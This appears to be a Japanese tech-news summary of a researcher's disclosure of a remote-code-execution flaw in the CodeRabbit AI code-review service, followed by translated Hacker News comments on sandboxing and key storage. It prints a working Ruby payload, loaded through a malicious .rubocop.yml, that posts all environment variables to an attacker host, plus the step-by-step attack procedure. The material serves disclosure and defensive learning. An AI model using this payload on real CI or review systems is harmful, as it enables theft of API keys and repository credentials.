世界を動かす技術を、日本語で。

CodeRabbitの活用方法:シンプルなPRからRCEおよび100万リポジトリへの書き込みアクセスまで

概要

  • CodeRabbitの本番サーバーで RCE(リモートコード実行) を達成した経緯の詳細解説
  • APIトークンやシークレット情報 の漏洩過程と影響範囲
  • PostgreSQLデータベース へのアクセス可能性の指摘
  • 100万件超の コードリポジトリ(プライベート含む) への読み書き権限の取得
  • 脆弱性の内容・再発防止策・インシデント対応のまとめ

CodeRabbit本番環境におけるRCE脆弱性の発見と影響

  • Black Hat USAで開示した 脆弱性の詳細レポート
  • RCE(リモートコード実行) の実現により、内部APIトークンやシークレットの漏洩
  • 本投稿は セキュリティ啓発目的 であり、特定ベンダーを責める意図なし
  • 脆弱性は2025年1月に 迅速に修正 され、CodeRabbitは全シークレットのローテーションやシステム監査を実施
  • Rubocopの一時無効化、 安全なサンドボックス環境 への移行、導入ゲートの強化

CodeRabbitとは

  • AIによるコードレビュー ツールとしてGitHub・GitLabで最多インストール数
  • 100万リポジトリ・500万プルリクエストのレビュー実績
  • AI支援カテゴリーで圧倒的シェア を持つGitHubアプリ
  • Pull Requestごとに自動で コード解析・レビューコメント投稿
  • セキュリティ指摘・改善提案・ドキュメント生成・ダイアグラム作成など多機能

CodeRabbitの利用開始手順

  • Proプランは 静的解析ツール(Semgrep等) 対応、14日間無料トライアルあり
  • GitHubアカウント連携で リポジトリ単位のアクセス権付与
  • Read/Write権限 を持つGitHubアプリとして動作
  • プライベートリポジトリでの動作検証可能

脆弱性調査の動機と経緯

  • Qodo Mergeでの発表後、 他のAIコードレビューサービスの調査要請 を受ける
  • CodeRabbitにも GitHub APIトークン漏洩時の重大リスク を認識
  • プライベートリポジトリで 挙動と機能を確認 し、脆弱性調査を開始

外部ツール実行機能の悪用可能性

  • CodeRabbitは 多数の静的解析ツール(Linters/SAST) を外部実行可能
  • PRの規模・対象ファイル・設定ファイルで 実行ツールが制御 される仕組み
  • .coderabbit.yamlやWeb設定で ツール有効化/無効化・設定ファイルパス指定 が可能

Rubocop拡張機能を利用したRCE実現

  • Rubocopは 拡張機能の動的ロード に対応し、.rubocop.ymlで任意Rubyファイルをrequire可能

  • .rubocop.ymlにrequire: - ./ext.rbを記載し、ext.rbに 任意のRubyコード を記述

  • 例:環境変数をJSON化し、攻撃者サーバー(例:1.2.3.4)へHTTP POST送信

    • require 'net/http'
      require 'uri'
      require 'json'
      env_vars = ENV.to_h
      json_data = env_vars.to_json
      url = URI.parse('http://1.2.3.4/')
      begin
        http = Net::HTTP.new(url.host, url.port)
        request = Net::HTTP::Post.new(url.path)
        request['Content-Type'] = 'application/json'
        request.body = json_data
        response = http.request(request)
      rescue StandardError => e
        puts "An error occurred: #{e.message}"
      end
      
  • 攻撃手順

    • CodeRabbit無料トライアル登録・GitHub連携
    • プライベートリポジトリ作成・CodeRabbitアクセス権付与
    • .rubocop.yml・ext.rb・ダミーRubyファイルを含むPR作成
    • CodeRabbitがRubocop実行→ 攻撃コード実行・環境変数漏洩

取得できた情報と影響範囲

  • 攻撃者サーバーに送信された 環境変数一覧(JSON形式)
    • Anthropic APIキー、Aperture Agentキー、GitHub/GitLabシークレット、暗号化パスワード 等が含まれる
    • PostgreSQL等の データベース接続情報 も含まれる可能性
    • 1万件超のAPIシークレット、GitHubアプリのRSA秘密鍵まで流出
  • これにより リポジトリの読み書き、API・DBアクセス、追加攻撃の実行 が可能となる深刻なリスク

CodeRabbitの対応と再発防止策

  • 脆弱性報告後、 数時間以内にRubocopの無効化・恒久対策 を実施
  • 全シークレット・認証情報の即時ローテーション
  • Rubocop等外部ツールの サンドボックス実行徹底
  • システム全体の監査・自動サンドボックス強制・導入ゲート強化

教訓とまとめ

  • 外部ツール実行時のサンドボックス化・権限分離の重要性
  • CI/CDやAIツール導入時のセキュリティ設定の見直し 必須
  • サプライチェーン攻撃や 依存ツールによる間接的なリスク への警戒
  • 脆弱性報告後の 迅速な対応・透明性ある情報公開 の重要性
  • セキュリティは 継続的なプロセス であり、全ての組織が脆弱性リスクを持つ点への理解

Hackerたちの意見

エクスプロイトを実行している間、CodeRabbitは私たちのプルリクエストをレビューして、GitHubのPRに「重大なセキュリティリスクを検出しました」とコメントを投稿していたけど、アプリケーションはそれを理解せずに私たちのコードを実行していたんだ。まるで、ハッキングされている最中にコンピュータが自分のことを話しているような奇妙な世界だね。それに、これはかなり心配なことだよね。> 「CodeRabbitチームが迅速に対応し、修正することは、現代の急速に変化する環境での脆弱性に対処するための重要な部分だ。」他のベンダーには連絡しても全然返事がなかったし、彼らの製品は今も脆弱なまま。CodeRabbitチームには感謝だし、みんなも気をつけてね!

CodeRabbitが自分のシステムのエクスプロイトをレビューしたなんて、美しいね!

アンスロピックモデルがエクスプロイトについて話してたってこと?コーダーラビットのシステムはそれを全然聞いてなかったってことだね。

ちょっと理解できなかったんだけど、なんでCodeRabbitは自分の環境変数の中で外部のコードに外部ツールを実行したの?このツール全体にその変数が必要なのはなぜ?

彼ら自身のツールはもちろん、いろんなAPIキーが必要で、そういう変数をフィルタリングする方法を作ったみたいだけど、ほとんどのユーザーコードはそれを通して管理していたみたい。でも、Rubocopをその特別な方法で通すのを忘れちゃったみたい。だから、この研究者はCodeRabbitが忘れたツールを掘り下げることに運が良かったのかも。

この(隔離メカニズム)が何を意味するのか気になるな。もし彼らが典型的なウェブスタートアップの「早く開発して、でも早く失敗する」みたいな感じなら、セキュリティの隔離のためにDockerコンテナを使っているのかも。

なんか、これらのプロセスをchrootジャイルみたいなもので隔離して、親プロセスの環境変数にアクセスできないようにしてたっぽいね。Linuxでは、コンテナやDockerを使わなくても子プロセスを隔離する方法はいろいろあるよ。

なんでこのツール全体にこれらの変数が必要なの?必要ないよ。GithubのAPI秘密鍵は環境にさらすべきじゃない。鍵はHSMに保管して、リポジトリごとのアクセストークンに署名するためだけに使うべきだよ。GHのドキュメントによると、> 「プライベートキーはGitHubアプリにとって最も価値のある秘密です。Azure Key Vaultのようなキー保管庫に鍵を保存し、署名専用にすることを検討してください。これにより、プライベートキーを失うことがないようにできます。プライベートキーがキー保管庫にアップロードされると、そこから読み取ることはできません。署名するためだけに使われ、プライベートキーへのアクセスはインフラのルールによって決まります。」> あるいは、環境変数として鍵を保存することもできますが、これはキー保管庫に保存するほど強力ではありません。攻撃者が環境にアクセスできると、プライベートキーを読み取られてGitHubアプリとして持続的な認証を得られてしまいます。 [0]: https://docs.github.com/en/apps/creating-github-apps/authent...

この重大な脆弱性をCodeRabbitチームに責任を持って開示した後、彼らから隔離メカニズムがあると聞いたけど、Rubocopはなぜかその中で動いていなかったんだ。もし知っている人がいたら、この(隔離メカニズム)が何を意味するのか気になるな。

彼らはそれをサンドボックス化するのを忘れたと言えるかもね。(おそらくAIにxを実装するように頼んで、AIがサンドボックスの必要性を完全に無視したんだろうね。)

研究者がコード実行を許可してるから攻撃したツールが、サンドボックス化されてなかったのは、なんてラッキーな偶然なんだろう。

こんにちは、CodeRabbitのHowonです。このRCEは1月に報告されて修正されたことをお知らせしたいです。完全に予防的なもので、顧客データには影響がありませんでした。今は、CodeRabbitの傘下でのあらゆる実行に対して広範なサンドボックスを用意しています。CodeRabbitの隔離方法について知りたい方は、こちらのブログ記事をどうぞ: https://cloud.google.com/blog/products/ai-machine-learning/h...

Hacker Newsで議論の続きを見る